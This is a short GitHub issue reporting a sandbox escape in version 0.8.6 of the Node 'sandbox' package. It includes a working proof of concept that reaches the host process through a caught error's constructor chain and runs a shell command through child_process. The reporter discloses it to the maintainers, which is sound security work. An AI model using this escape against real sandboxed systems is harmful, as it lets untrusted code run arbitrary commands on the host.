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Sandbox Escape Bug #70

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seongil-wi opened this issue Mar 30, 2023 · 0 comments
Open

Sandbox Escape Bug #70

seongil-wi opened this issue Mar 30, 2023 · 0 comments

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@seongil-wi
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  • Sandbox version: 0.8.6
  • Node version: 18.15.0
var Sandbox = require("sandbox")
var code = `
    try{ 
        valueOf()
    } catch(pp){
        pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag'); 
    }
`

s = new Sandbox()
s.run(code)

We found a sandbox escaping bug. This bug can be triggered by calling valueOf() function.
Also, we can execute arbitrary shell code using the process module.
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@seongil-wi